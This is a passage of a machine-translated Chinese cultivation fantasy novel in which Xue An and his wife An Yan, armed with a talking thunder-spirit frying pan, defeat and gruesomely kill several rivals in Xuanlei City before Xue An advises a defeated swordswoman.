    Then the two looked at each other.


    An Yan is like a kid who has done something wrong, sticking out her tongue embarrassedly.


    "Husband, I didn''t mean it, I didn''t even know it would be so powerful!"


    Xue An shook his head helplessly and chuckled, "Silly girl, you must ask clearly when you encounter unfamiliar objects in the future, it doesn''t matter what you smash, what if you hurt yourself?"


    "Hmm!" An Yan nodded, then gleefully admired the pan in his hand.


    "Like it?"


    "Well! It feels much better than before!" An Yan said with a grin.


    At this time, a faint voice came from the pan, "Of course it''s much more powerful than before. The little guy before was only five turns, but I have nine turns!"


    An Yan was startled, and said with a shocked face: "You can still speak?"


    "Of course I can speak! I''m the Nineth Rank Lei Zun! If it weren''t for the trap of your Terran Cultivators that day, I might have condensed the Nineth Rank and prove that the Thunder God is in the right position!" Said very aggrieved.


    An Yan''s attention was not on this at all, she looked at the pan with surprise on her face, and suddenly leaned in to say very seriously.


    "So, you can control the power of thunder and lightning?"


    "Of course! That''s too easy for me!"


    "Then you can generate electricity?"


    "Power generation?" This Lei Zun obviously didn''t understand what An Yan meant.


    "It is to release the power of thunder and lightning in accordance with the requirements I said!"


    "can!"


    But Anyan muttered to herself with her eyes gleaming when she heard the words.


    "This is all right, there is a large power bank to carry with you! Never worry about running out of power!"


    Xue An could hardly hear it.


    This silly girl is sometimes mature and smart and terrifying, but sometimes naive, making people dumbfounded.


    For example, this treasure that I worked hard to forge.


    If you change to someone else, you will definitely figure out how to fight.


    But An Yan wondered how to use it to generate electricity.


    This is really... the thinking is very strange.


    Xue An was sighing in his heart.


    Xiao Dancheng suddenly walked over with a solemn expression, "Master, there is a situation!"


    Xiao Dancheng felt that something was wrong around him from just now.


    Because An Yan just smashed half of the wall of the inn with one blow, but there was not even a single movement around.


    It stands to reason that such a loud noise will surely disturb the residents of the inn, and at the worst, you have to attract the shopkeeper and the shopkeeper of the inn.


    But none of these, some just filled the silence of the whole world.


    This feeling made Xiao Dancheng feel terrified, so he knew it was not good.


    Xue An just smiled when he heard the words, then turned to look at the distant sky, and said lightly: "Is it finally here!"


    Following the voice, I saw a sword light rushing to the sky above the inn in an instant. After standing still, it was snow drifting away with a cold face.


    Then a few streamers flew up.


    It was City Lord Xuanlei Gao Xinghai and his daughter Gao Zuiyu.


    Seeing these people appear, Xiao Dancheng looked very ugly, and shouted at Gao Xinghai: "City Lord Gao, what are you going to do?"


    Gao Xinghai sneered, but did not speak.


    Xiao Dancheng felt that his heart was sinking gradually, and he felt regretful in every way.


    After he came out of the auction house, he should urge Master Xue to leave this Xuanlei City as soon as possible.


    as predicted.


    This Tianzong true biography has no good intentions with City Lord Xuan Lei.


    At this moment, I heard Xue Liuli say in a cold and alienated voice: "Pill Cultivator, 400,000 immortal crystals, plus my friendship, can you give me that Lei Zun?"


    This sentence is straight to the point, and Lei Zun is required to name and name.


    And the conditions offered are not unreasonable.


    Although there is still a big gap between four hundred thousand immortal crystals and one million immortal crystals, the value of a true friendship from a great sect in the world is inestimable.


    Even higher than the value of that fairy crystal.


    Gao Xinghai''s complexion changed.


    He was afraid that this man would agree to it again. In that case, all his plans would be lost.


    But then Xue An''s reaction made him relieved.


    Xue An shook his head and chuckled, "I''m sorry, your friendship...I still can''t look down on it!"


    When this sentence was exited, Xue Liuli''s eyes flashed with cold light, "Cultivator, I hope you can figure out your current situation, and now I will discuss with you again. If Chaotianfang Lu Jinglong comes, I am afraid your fate will be better than It is a hundred times miserable now."


    "That Lei Zun is very important to me, and it may not be very useful in your hands! So I hope you can think clearly!"


    Xue An said indifferently: "I am a very curious person, so I want to know what my end will be tonight!"


    Xue Liuli snorted angrily.


    At the same time, on the roof of a residential building in the distance, Bai Qing''er, who was peeping at all of this, couldn''t help but frown slightly.


    This Xue An''s actions made her feel a bit weird.


    Actually openly challenged Xueliu, how many heads did this guy grow?


    Seeing the fire, Gao Xinghai sneered, and then flew forward, "Master Xue, you don''t have to talk nonsense with this kind of person, this kind of person just doesn''t see the coffin without tears, leave it to me! "


    Xuelili did not say a word, which was considered tacit approval.


    Gao Xinghai turned his head and smiled at Xue An below: "Boy, it''s the blame you shouldn''t show up at the auction!"


    With that, Gao Xinghai turned into a phantom, and came straight to Xue An.


    This Gao Xinghai is also a golden immortal powerhouse.


    Although the gap between Jin Xian and Jin Xian is sometimes bigger than the gap between Jin Xian and mortal.


    But this Gao Xinghai can become the lord of a city, obviously has some strength.


    So when he bombarded, his momentum was quite shocking.


    But before Xue An started, An Yan on the side could no longer hold back.


    She took a step forward, raised the pan in her hand, just like a ball, and blasted past the rushing streamer.


    "Dare to blackmail my husband, get out!"


    boom!


    After a loud noise.


    Gao Xinghai, who had originally come so aggressively, felt that an unstoppable force came, and his whole person was directly blown out.


    Not only that, but thunder light spread all over his body, causing him to howl miserably.


    If An Yan had only the cultivation of immortality, just a single blow would make him disperse.


    Even so, this Gao Xinghai was beaten hard.


    After the thunder light finally dissipated, his skin was already scorched, his beard and hair were scorched, and green smoke was still rising above his head, as if he was about to ripen.

 Chapter 759： Kill, start from you

    "What the **** is this?" Gao Xinghai roared in anger.


    "This is not a ghost, this is a pan!" An Yan said lightly.


    "Frying pan?" A solemn expression appeared on Gao Xinghai''s face.


    At first glance, this woman was only a cultivator of immortality, but she was able to retreat herself, showing the power of this magic weapon.


    An Yan nodded, her small face was full of pride, "Yes! It is a pan that can be used for cooking and shooting people!"


    "Cooking?" Gao Xinghai was startled, and then roared furiously: "You hit me with cooking stuff?"


    "Yeah! Is there any problem?" An Yan blinked his eyes, then raised the pan in his hand and pointed at the people in Gao Xinghai in the sky.


    "Tell you, if anyone dares to bully my husband today, I will shoot him to death with this pot!"


    The imposing momentum actually made Gao Xinghai step back subconsciously.


    After all, the blow just now left him still lingering.


    And An Yan whispered to Xue An at this time: "Husband, do you think I''m handsome?"


    Xue An couldn''t laugh or cry, so he nodded, "Very handsome!"


    "Hee hee, don''t worry, husband, I''ll cover you today!" After An Yan got this super-enhanced version of the pan, his confidence increased so much that no one was paying attention.


    Bai Qing''er, who was peeping all this not far away, muttered to herself, "Is this woman your backing? But what you think is too simple! A treasure can''t solve any problems at all."


    really.


    Seeing Xue Liuli''s cold snort, Xue An''s eyes were also a little more contemptuous, "Alchemy practitioner, do you want to rely on this woman to change something? I tell you, you think too much!"


    "Hand over Lei Zun, I can keep you safe, otherwise, don''t talk about me, even the people of Chaotianfang will not let you go!"


    As soon as the voice fell, I heard a strange laugh from the distant sky.


    "Snow Maiden is right, this man is dead today!"


    The sound is very fast from far to near!


    When the last word was finished, an extremely arrogant and luxurious flying flew over the inn.


    Lu Jinglong was sitting on it, surrounded by Ji concubine, a scene of a fairy family.


    Before flying, an old man with gray hair and haughty expression stood proudly.


    In the distance, Bai Qinger''s face changed suddenly.


    Heart-biting old man!


    This old demon is still alive in the world?


    Things are really tricky now.


    Xue Liuli also changed his eyes slightly, but turned his gaze to Master Lu above Fei, "Lu Jinglong, what are you going to do with this matter?"


    "What to do?" A wicked smile appeared at the corner of Lu Jinglong''s mouth, then looked down at Xue An below, and said lightly: "I have already said very clearly, this man must die today! But before he died... ...."


    Lu Jinglong looked at An Yan who was holding a pan.


    Although An Yan covered her true face with illusion, her figure and eyes could not be changed.


    So her eyes are so beautiful.


    Lu Jinglong licked his lips, "I have to play with his woman in front of him!"


    This sentence is out.


    An Yan was so angry that Liu eyebrows were erected, "Shameless thief!"


    As she said that, she plunged into the air and directly killed Lu Jinglong.


    "Jiejie, lady, your opponent is me!" The heart-biting old man grinned a few times before blocking An Yan''s path.


    "Go away!" An Yan yelled, raising the pan in his hand and smashing it.


    boom!


    A ray of thunder hit the old man in the heart.


    However, the heart-biting old man became famous for hundreds of years, and countless masters died in his hands, so even though he was surprised by the blow, he still flashed away without rush.


    Lei Guang failed, and the heart-biting old man had appeared in front of An Yan, hehe sneered and said: "Little lady, the guy in his hand is good, but the cultivation base is too bad! No matter, since the young master said you want to live, then you live more. For a bar!"


    With that, the heart-biting old man reached out to grab An Yan.


    In his eyes, isn''t it possible to catch a woman with only Sanxian cultivation base?


    Unexpectedly, An Yan has recently studied the spells taught to her by Xue An, and her strength has improved by leaps and bounds.


    Although he was still a little flustered, he was still able to avoid this claw.


    However, she still underestimated the strength of this heart-biting old man.


    laugh.


    A soft sound.


    An Yan''s long hair that had been **** was scattered under the influence of the claw wind, and the illusion that had been covering her body also dissipated, revealing An Yan''s original face.


    At this time, everyone in the audience was shocked.


    This woman is so beautiful...


    Lu Jinglong, the youngest of the Lu family, looked even more brilliant.


    He had seen countless beautiful women before, but none of them could have a peaceful face.


    Such a discovery made him excited, "Heartless!"


    "Old slave understands!"


    The heart-biting old man also woke up from the surprise just now, and he smiled and said: "It''s interesting, but I will still perform high-level illusions that even I can''t see, but you still can''t escape my palm today!"


    As he said, the heart-biting old man put his hands together and suddenly fell down, "Hetian Demon Seal!"


    A black mark the size of a mile dropped from the sky and hit Anyan directly.


    The power of this blow was so powerful that Gao Xinghai and others who were on the sidelines were all overwhelmed by it.


    Even Xue Liuli''s eyes flashed slightly.


    This heart-biting old man deserves to be an old demon in the middle of the field for hundreds of years, and his cultivation is indeed strong enough.


    With this blow, Xue Liuli did not dare to lightly grab the front.


    An Yan''s complexion was dignified, and she was holding the pan in her hands tightly to resist this attack.


    At this moment, I heard a calm voice spread throughout the audience, "Yan''er, leave these people to me!"


    With that, Xue An, who had been standing below, suddenly disappeared in place, and when he appeared again, he had come behind An Yan and gently embraced him.


    "Master!" Xiao Dancheng was anxious when he saw this.


    Bai Qing''er, who watched this scene from a distance, also stomped, "This is dead!"


    Even Xue Liuli sighed secretly, thinking that Xue An must be more ill-fortuned.


    At the same time, the Demon Seal had already been present.


    But Xue An didn''t even lift his head just raised his hand and flicked his finger.


    Click.


    This huge and fierce demon seal solidified in the air, and then with Xue An''s finger as the center, numerous cracks appeared, and finally burst into pieces.


    A snap.


    This square magic seal was turned into powder.


    The heart-biting old man with a proud face, the expression on his face was frozen, and he exclaimed: "Why..."


    As soon as he shouted two words, Xue An''s figure appeared in front of him, and as soon as he reached out, he grabbed him by the neck and lifted him up.


    Of course the heart-biting old man wouldn''t just grab it like this, and began to fight back frantically.


    But all his struggles were in vain in front of Xue An.


    Xue An said indifferently: "Today''s killing starts with you!"

 Chapter 760： 16 words, you have to die 16 times

    After saying that, before the heart-biting old man could react, Xue An suddenly shook the hand that was holding his neck.


    With a click.


    The old man''s neck was chopped to pieces, and his head rolled down.


    But the heart-biting old man has been a golden immortal for thousands of years, so naturally he will not die so easily.


    Even if his head fell to the ground, his body still stood tall, and he tried to fight back.


    But the next second, Xue An exhaled and shouted coldly: "Exit!"


    boom.


    The body of the heart-biting old man and the falling head were all shocked, and then a little bit of it turned into dust and dissipated.


    At the same time, a magic light flew straight out, and it was about to escape.


    "Want to run?"


    As soon as Xue An stretched out his hand, his left hand plunged into the void.


    That magic light is the soul of the old man who eats the heart.


    At this moment, the heart-biting old man, panicked like a bereaved dog, no longer dared to have the slightest contempt.


    Because this man is terrible.


    Just a casual pinch, he crushed his neck, and then with a cold drink, he turned his whole body into powder.


    The heart-biting old man finally understood that this man turned out to be the most powerful one.


    Therefore, at this moment, his heart is full of regrets, and he also feels unprecedented fear.


    This allowed him to escape unparalleled fast.


    He had escaped hundreds of miles in an instant.


    Just as he secretly rejoiced that he had taken another life, a big hand suddenly emerged from the space. Before the heart-biting old man could react, he grabbed him and then retracted.


    And when he saw that the man who was taking control of the void with his hand was Xue An, the soul of the heart-biting old man let out a terrifying scream.


    "My lord, forgive me! I know I was wrong, I don''t dare anymore!"


    Xue An raised his eyebrows slightly and suddenly pinched with his hands.


    Click.


    The soul of this heart-eater old man was crushed.


    The screams stopped abruptly.


    The audience was even more silent.


    It took only a few blinks from Xue An''s shot to smash the square magic mark to crush the soul of the heart-wrenching old man.


    But in such a short time, such a shocking reversal occurred.


    Xiao Dancheng looked at this scene with a stunned expression on his face.


    He knew that Xue An was very powerful, otherwise he would not be able to stand firm in the Eastern Region.


    But he didn''t expect Xue An to be so powerful, even the heart-biting old man who had been in the middle of the field for hundreds of years was killed by him.


    The father and daughter Gao Xinghai seemed to have seen a ghost, especially Gao Xinghai, who was shaking all over.


    With such a powerful existence, he was thinking about provoke just now. Is it really a long life?


    Even Xue Liuli gave a slight hey.


    But who is the most surprised of these bystanders.


    Also belonged to Bai Qing''er who was peeping from a distance.


    She was covering her mouth and looking at Xue An with shocked eyes.


    Only then did she understand why Xue An was so calm.


    It turns out that he is really so powerful!


    Thinking that she had just secretly taunted Xue An as a soft food, Bai Qing''er felt a fever in her face.


    At this time.


    Xue An raised his eyes to look at Lu Jinglong who was on the fly in the distance, and said lightly: "Your people, I killed them!"


    Lu Jinglong''s face was pale at the moment, but he didn''t have much fear, he just took a deep breath and said, "A mere slave will die if he dies!"


    Xue An shook his head, "I told you this to remind you to be prepared, because next, it''s your turn!"


    Lu Jinglong''s face sank, "Cultivator, your current strength is enough to win respect, so if I take back what I just said, I don''t want your things too! How about this?"


    This sentence is actually a disguised form of softening with Xue Anfu.


    People such as Xiao Dancheng and Bai Qing''er breathed a sigh of relief when they heard this, thinking that the ending could not be better.


    Unexpectedly, Xue An laughed, and then said lightly: "Sixteen characters!"


    "Huh?" Lu Jinglong was startled, and didn''t understand what it meant.


    "The sentence you threatened Yan''er just now contains sixteen characters!"


    Following the voice, a frightening weather radiated from Xue An, and everyone around him was shocked, and involuntarily stepped back and avoided a few steps.


    Lu Jinglong''s expression was even more pale, but he reluctantly said, "What do you want to do?"


    "I just want to tell you, the heavens, the heavens and the earth, no matter who it is, if you dare to threaten Yan''er, you will die!"


    As soon as the words fell, Xue An came to Lu Jinglong, and swept him down from the flying loft.


    Lu Jinglong, who has always appeared in front of people with a wicked and mad attitude, made a howling like a pig at this moment.


    "No, you can''t kill me! I am the eldest master of Chaotianfang Lu family! If you dare to kill me! You will face the endless pursuit of Chaotianfang..."


    puff!


    There was a muffled sound.


    Lu Jinglong''s head was crushed by Xue Ansheng, and the screams stopped abruptly.


    But this is just the beginning.


    Seeing the brilliance of Xue An''s other hand, he directly restored Lu Jinglong''s shattered head.


    Lu Jinglong had just experienced a panic of life and death, so after he recovered, he was still a bit at a loss.


    Xue An stretched out a finger and smiled sensibly, "You just said sixteen words, then you have to die sixteen times, and this is only the first time. Then you will count it. Remember, you can count the wrong number once Come over again!"


    "Ahhhhh, don''t..."


    puff!


    Xue An didn''t wait for him to shout the following words, so he crushed his head again.


    hiss!


    All the onlookers took a breath.


    Because what Xue An did was enough to make the bravest man''s hair stand upright.


    Especially what he was dealing with was still a young man from the Lu family dignified in Tianfang.


    At this time, Xue An once again recovered Lu Jinglong This time Lu Jinglong was trembling all over, and shouted in a very bitter voice: "What is your name? Do you have the courage to tell me?"


    "My name is Xue An, and you haven''t counted it, so it won''t count this time. Let''s start over!"


    After all, Xue An crushed his head again.


    After he recovered, Lu Jinglong, who had experienced three severe life and death pains, was finally afraid.


    "Xue An, I was wrong! I really know that I was wrong, please forgive me this time? Whether you want the fairy crystal or other magic weapons, as long as you speak, I guarantee that you will be satisfied. Okay? As long as you let me go, I am willing to pay any price!" Lu Jinglong began to plead bitterly.


    Seeing the once aloof Lu Family Young Master was so flattering in front of Xue An.


    Bai Qing''er and the others all looked foolishly.


    And Xue An shook his head, "No! Also, you haven''t counted yet, so it still doesn''t count this time. Let''s start over!"

 Chapter 761： The ancestors of the Lu family, Jian Jue Tiandi

    With that, Xue An crushed his head casually.


    After he recovered again, Lu Jinglong was about to collapse!


    "You bastard, devil, what do you want?"


    "Come over!"


    puff!


    "I was wrong, Uncle Xue, I really know I was wrong, please forgive me!"


    "Come over!"


    puff!


    After tossing like this for three times, when he recovered again, Lu Jinglong was tortured and was about to collapse.


    The intense pain that touched the soul again and again, and then fell into the darkness made him crazy.


    "The first... the first time!"


    Xue An nodded and smiled, "This is a good start! I hope you can keep it up!"


    "Please..." Before Lu Jinglong''s words were finished, Xue An once again let him taste death.


    After waking up again, Lu Jinglong immediately shouted: "Second time, please let me go! I can''t stand it..."


    Xue An was not moved at all, and squeezed it casually.


    puff!


    Lu Jinglong fell into darkness once again in the midst of incomparable resentment.


    Next, Lu Jinglong''s trembling voice sounded again and again, "The third time!"


    "the fourth time!"


    "the fifth time!"


    ����.


    Finally, after the fifteenth time, Lu Jinglong''s eyes were lost, but he still looked at Xue An with begging eyes and said with all his strength.


    "My lord, please spare me this time!"


    It''s not just him.


    The Xue Yi, who has been witnessing all this, can''t help but sigh at this moment, "Xue An, what Lu Jinglong did is really wrong, but you have killed him so many times, and the grievances have been evened out, so let him go. Go ahead!"


    At this time, Bai Qing''er also hurried over, standing in the air, first glanced at Lu Jinglong, who was soaked in blood, with horrified eyes, and then calmly said: "Yes, Master Xue That''s right, just let Shao Lu off once! Otherwise, if you really kill him, then the Lu family will never give up!"


    Even Xiao Dancheng hesitated for a moment, and said, "Master, why don''t you just spare him this time..."


    Hearing these pleading voices, Lu Jinglong, who was already numb with pain, regained some sanity, and then a very vicious thought arose in his heart.


    As long as I return home alive, I will mobilize the entire Lu family to smash you into pieces!


    But on the surface, he dared not show anything, still looking at Xue An with pleading eyes.


    In the face of all this, Xue An raised the corner of his mouth, revealing a faint smile.


    "Leave him alone? Haha, I can feel the thoughts in his heart. When he just threatened Yan''er, he thought about **** him! If I were not his opponent, then the dead now may be the two of us. , Now you say you told me to let him go?"


    These words made the persuading Bai Qing''er, Xue Liuli, and others all discolored.


    And Xue An leaned down and whispered in Lu Jinglong''s ears, whose expression changed greatly: "I know what you are thinking. Don''t worry, if your Chaotianfang Lu family dares to provoke me, I will remove them from this world. Erased!"


    Lu Jinglong''s muscles stiffened, "No..."


    Xue An did not give him a chance to resurrect this time, so he put his hands together.


    Click!


    Lu Jinglong''s entire body was crushed by the powerful and powerful force, condensed into a mass of flesh and blood one meter square.


    Lu Jinglong''s spirit floated out.


    At this moment, a thin white line suddenly appeared from the distant sky, dragging Lu Jinglong''s spiritual thoughts and leaving.


    "It''s the ancestral land!" Xiao Dancheng exclaimed.


    Among those rich family members, there is a secret technique.


    Enshrine your ancestors in a blessed land and add all kinds of secret techniques to transform it into an ancestral land.


    If the protagonist of the clan dies, then his divine consciousness can be summoned back by the ancestral land, and the divine and soul will not be destroyed.


    This Lu family obviously has an ancestral land.


    But in the face of all this, Xue An just smiled coldly, "Want to go?"


    With that, Xue An''s eyes were full of light, and Lu Jinglong''s divine mind let out a scream, and then it was completely vanished.


    At this point, this young man, Lu Jinglong, of Chaotianfang Lu''s family, was completely destroyed!


    But at the moment when Lu Jinglong had just died, the white line that involved him leaving suddenly skyrocketed, and then a huge imaginary image appeared, overlooking Xue An, with a cold snort, and stretched out his hand to take a photo.


    "It''s the ancestor of the Lu family!" Bai Qing''er exclaimed, and everyone evaded.


    This is obviously Xue An''s destruction of Lu Jinglong''s soul and anger, which angered the Lu family ancestors who were sleeping in the ancestral land.


    This ancestor of the Lu family did not know how many years he had been asleep in the ancestral land, and the worship and incense of generations made him almost a god.


    Therefore, under this palm, most of the Profound Thunder City collapsed with great power.


    Everyone was shocked.


    But Xue An looked up at the imaginary image, and said lightly: "I didn''t intend to kill you, but seeing you protect your shortcomings so much, then you can just die with you!"


    After that, I saw countless sword lights appearing around Xue An''s body, which instantly condensed into a huge sword nearly a hundred miles long.


    Then Xue An held the sword in both hands, his eyes were brilliant, and he said coldly: "Look at me, sword! Absolutely! Heaven! Earth!"


    boom!


    I saw an indescribable huge sword light coming from the sky.


    The brilliance of this sword light is as if there is only this sword light left between the world and the earth at this moment, making everyone feel very shocked.


    The drifting snow that had been on the sidelines could no longer keep calm at this moment.


    As a kendo master, she can naturally feel the shocking sword intent contained in this sword.


    at the same time.


    The huge virtual image also looked scared, and wanted to avoid it.


    But Jianguang pointed out that everything in heaven and earth bowed down.


    So he didn''t have time to react, so he was slashed by this sword.


    Click!


    I saw a thin crack appeared in the middle of this virtual image, from which a dazzling light burst out.


    Then the cracks began to expand dramatically.


    at last.


    The imaginary image made by the ancestors of the Lu family uttered a scream that resounded across the wild and then it burst apart.


    When the light dissipated, everything was empty except for a gap on the ground that stretched to the sky.


    "This... how is this possible? How can a person have such a strong sword intent?" Xue Liuli muttered to herself with a pale complexion. She once thought that her talent in kendo was unique in the world.


    But this sword gave her a deep sense of powerlessness.


    Xue Liuli felt that all the pride of the past had shattered at this moment.


    And Bai Qing''er was even more trembling, looking at Xue An in horror, no longer knowing what to say.


    Since the auction, this man has given her too much shock.


    Even now, even the ancestors of the Lu family were beheaded by his sword.


    What is the origin of this man?


    Why is it so powerful?

 Chapter 762： The play, well done!

    Just when everyone was shocked by it.


    Gao Xinghai is quietly retreating.


    At this moment, he was full of fear and regret.


    Frightened by Xue An''s strength, regretted his previous offense.


    But before he quit a few steps away, Xue An said calmly: "City Lord Gao, what are you going to do secretly?"


    With that, Xue An turned to look at him.


    Gao Xinghai froze, and then showed a flattering smile, "Xue...Master Xue, I just remembered an urgent matter and I was about to do it, so I didn''t have time to say goodbye to you."


    A faint smile appeared at the corner of Xue An''s mouth, "Oh? What emergency has made Gao Chengzhu so panicked, even his face has changed?"


    When Gao Xinghai heard this, cold sweat appeared on his pale face, and he said vaguely: "This...I..."


    Gao Zuiyu, who had been watching from the side, suddenly took a step forward, blocking her father behind, and said indifferently: "Things are all because of me. My father!"


    "Drunk rain, retreat!" Gao Xinghai exclaimed, and then said to Xue An, "Master Xue, my daughter is still too young, don''t be familiar with her!"


    "Father, don''t say anything. It''s all because of me. It has nothing to do with you. You have suffered too much for me. Let me solve it by myself this time! Even if I die, I am tall. The family will not bow their heads easily!" Gao Zuiyu said with a serious face.


    Gao Xinghai wanted to say something, but after hesitating for a moment, he sighed and stopped talking.


    Gao Zuiyu gritted his teeth and stared at Xue An without showing any weakness, "Let''s do it! If you want to kill, you want to kill you!"


    Xue quietly looked at the domineering girl, and then smiled.


    "The acting is good!"


    This sentence shocked all Gao''s father and daughter, especially Gao Zuiyu, his face instantly turned pale.


    Xue An shook his head and said faintly: "Although you pretend to be very good, your trembling hands and wandering eyes have already betrayed you!"


    "I...I don''t." Gao Zuiyu said.


    Xue An ignored it, and continued: "Retreat to advance, use this method to blackmail me! I have to say that you are indeed very clever."


    Gao Zuiyu no longer had the composure just now and looked at Xue An with horror.


    "You will not only win the reputation of being a filial father and daughter, but if I really kill you two, I will leave a word for bullying the weak! Am I right? City Lord Gao."


    This sentence is like a steel knife, pierced into the hearts of Gao and his daughter.


    Because what Xue An said has completely exposed the cautious thinking of the two of them.


    As Xue An said, when Xue An questioned Gao Xinghai who wanted to sneak away, the City Lord Xuan Lei winked his daughter secretly.


    Gao Zuiyu understood her heart, and then staged such a big show.


    The purpose is nothing more than to use Xue An''s sympathy to come back.


    Even if the operation is good, it can also win Xue An''s appreciation, and thus cling to this peerless master.


    But their father and daughter never dreamed that Xue An could see through this trick at a glance.


    "Master Xue, I...we have no other choice, just want to survive, please hold your hands high and let our father and daughter go!" Gao Xinghai began to beg for mercy.


    As for Gao Zuiyu, who was still very hard just now, he was so scared that he couldn''t even speak.


    Xue An said indifferently: "City Lord Gao, you don''t actually need to do this, because at the beginning, I didn''t want to kill you!"


    Hearing these words, Gao Xinghai took a deep breath, and Gao Zuiyu, who was shaking like chaff, didn''t shiver anymore.


    "Master Xie Xue for his mercy!" Gao Xinghai exclaimed with joy.


    Xue An shook his head, "No thanks, I haven''t finished speaking yet!"


    The complexion of Gao''s father and daughter changed.


    Xue An didn''t even look at it, and continued: "But I''m very tired of your performance, because in your eyes, I seem to be a foolish character?"


    "No, no! Master Xue, please listen to me..." Gao Xinghai explained hurriedly.


    But before he finished speaking, Xue An''s eyes flashed with cold light, and a sword light passed directly.


    puff!


    Although Gao Xinghai was also a strong Golden Immortal, he didn''t even have the power to fight back in front of Xue An, and was directly cut off by this sword light.


    Head down.


    The soul floats.


    But before his soul was completely detached from his body, the sword lights swallowed it completely, and then strangled it into pieces.


    Gao Xinghai, Lord Xuanlei, die!


    All this happened so quickly, it was almost like an electric flint.


    Wait for everyone to react.


    Gao Xinghai was completely destroyed, and the body fell to the ground, becoming a mass of rotten meat.


    Gao Zuiyu exclaimed, "Father!"


    Then he turned his head and looked at Xue An with extremely bitter eyes.


    "Xue An, you actually killed my father?"


    "Why not dare?" Xue An said lightly.


    Gao Zuiyu''s eyes flickered, and then he said in a deep voice, "You are a dignified and peerless strong man. Now my father is dead, do you have the courage to let a weak woman like me go?"


    Xue An laughed dumbly, then applauded softly, "Wonderful, it''s really wonderful, this routine is just one link after another!"


    "I can''t do anything, so I want to use words to provoke me? If I don''t let you go, I will end up with a reputation for fearing your revenge?"


    Then Xue An ignored Gao Zuiyu��s extremely ugly expression and smiled faintly, ��But I also want to correct two points. First, you are not a weak woman! From your father��s spiritual thoughts, you can see the many things you committed. Sins, such as... the three-eyed golden retriever that hunted a living person to feed you!"


    Gao Zuiyu staggered, almost fell from mid-air, and his complexion became ashes.


    "Secondly, you have misestimated me from the beginning. I always act only three words as I want, so if I do it, I do it. As for how others comment...what to do with me?"


    After the words fell, Gao Zuiyu seemed to feel the threat of death, and exclaimed: "No..."


    Click.


    Sword Mantle Cover cut it into powder in a flash.


    Gao Zuiyu, like his father, was extinguished.


    After getting rid of the pair of scheming father and daughter, Xue An just turned his head to look at Xiang Xuelii.


    "Now, it''s your turn!"


    Everyone shook with a word.


    Even An Yan looked intolerable, thinking that Xue An''s killing was too heavy, so she whispered: "Husband..."


    Xue An understood An Yan''s meaning, smiled at her, and said in a distant tone: "Aren''t you going to give me an explanation for this matter?"


    Xue Liuli has been in perplexity since witnessing Xue An''s shocking sword.


    It wasn''t until Xue An asked that she slowly regained consciousness, and then she lowered her head and remained silent for a moment before she said.


    "I am the one who moved the greed, if you kill, kill, I have nothing to say!"

 Chapter 763： Its easy to be broken just after, the flow is hard to break

    The true biography of the Heavenly Sect of Zhanhonglou and the eighth-ranked peerless powerhouse on the Questionnaire list, at this moment he has no fighting spirit, and even his voice is full of a strong sense of decadence.


    This surprised Bai Qing''er, Xiao Dancheng and others, and didn''t understand why this happened.


    Only Xue An knows that all this is because the ideals and confidence of this proud girl of heaven have completely collapsed.


    That''s the way it is in Kendo.


    This proud female of kendo who has been shrouded by the halo of genius since she was a child, because she practiced so smoothly all the way, after witnessing the shocking sword just now, she had deep doubts about herself.


    For Jian Xiu, this suspicion is extremely fatal.


    What''s more, the foundation of Xuelili is not very reliable.


    That''s why she was so depressed, even one step away from breaking Jian Xin.


    Xue An said calmly: "I just want to know why you want to get this Lei Zun so eagerly? You must know that for a sword repairman, the treasure of heaven and earth cannot play a decisive role!"


    After a moment of silence, Xue Xue said with a wry smile: "It''s okay to tell you now! The reason why I want to get this Lei Zun is completely because in three months, the treasure of the Dream Mountain that has slept for a thousand years will reappear in the world! But that There are many dangers inside, and it requires a powerful thunder spirit when it is turned on, so I want to get this thunder sovereign!"


    Hearing Xue Liuli��s words, Bai Qing''er was shocked, and said in disbelief: "Dream Mountain? You mean that 5,000 years ago left by the invincible Great Dream Sword Sovereign who was in all domains. Treasure?"


    Xue Liuli nodded, "This news hasn''t spread yet, so only Yuanzong Blood Net Mountain and the people of the three three heavenly sects know it!"


    Bai Qinger''s complexion changed, and she muttered to herself, "No wonder...the disciples of the recent three days sect suddenly began to frequent the major auction houses! This is the reason!"


    Xue An noticed the three words Blood Net Mountain, "If you say this, the people from Blood Net Mountain will also go?"


    Xueliu smiled bitterly, "Of course he will go. In fact, Blood Net Mountain has long been coveting the treasure left by this Great Dream Sword Master. This time the news should have been the first to know about Blood Net Mountain!"


    Xue An nodded, "Well, three months later, I will go to the Big Dream Mountain with you to see how amazing the people in this Blood Net Mountain are!"


    Xueliu was startled, "You..."


    She obviously didn''t understand why Xue An was so interested in Blood Net Mountain, and listening to this, she didn''t seem to want to kill herself.


    At this time Xue An turned around and said lightly: "Do you know why your kendo is so fragile?"


    Xue Liuli looked confused.


    "Because you haven''t really understood the true meaning of kendo from beginning to end! Every day you hone a sword intent in your chest, and you are practicing while walking, staying, sitting, and lying. This sounds very inspirational! But in the end it just touched yourself!"


    "Once you go in the wrong direction, the harder you work, the further away you are from the real goal!"


    Xueliu walked away from a huge shock and blurted out, "Then what is the true meaning of kendo?"


    Xue An smiled, "The sword is also the blade of the heart! There are millions of people, so there has never been any truth that can be effective for everyone!"


    "But for you, I only have eight words for you!"


    "It''s easy to break just after, and the water is hard to break."


    Hearing these eight words, Xue Liuli was stunned, and muttered to herself, "So that''s it, is this my kendo?"


    As she said, her face showed the color of determination, the decadence that had just been swept away, and then took a deep breath, bowed to Xue An, who had led An Yan away, "Thank you for calling it. Hmm! Displaced... taught!"


    At this time, Xue An''s indifferent voice came over, "Three months later, go to the Central Region Banten City to find me!"


    "Yes!"


    Xue An is gone.


    Xue Liuli also murmured to herself, and left in obsessiveness.


    Only Bai Qinger was left standing in place.


    After a while, she gritted her teeth and said, "Today''s matter is not trivial. I want to return to the headquarters of Zhongyu''s venue immediately and report all these things!"


    After all, she didn''t even enter Xuan Lei City, and flew directly towards the middle area.


    at the same time.


    A land of wealth in the middle area.


    A huge manor with an area of ??10,000 acres stands here.


    The ground is paved with mirror-like jade, and even the surrounding walls are piled up with fairy crystal waste stones.


    Not to mention all kinds of extravagance.


    This is where the ancestral home of Chaotianfang Lu''s family is located.


    now.


    In the study of the ancestral house, Lu Lie, the head of the Lu family of Chaotianfang, is dealing with affairs.


    suddenly.


    He felt that the entire ancestral house suddenly shook, and then the majestic luck that had pervaded the ancestral house began to quickly dissipate.


    This discovery made him furious, "What''s the matter?"


    Lu Lie roared and flew out of the study, into the air.


    At the same time, the brilliance flashed in the Lu family''s ancestral home, and countless masters all flew up, densely packed, occupying most of the sky.


    "Patriarch, what''s the matter?" asked the confidant family.


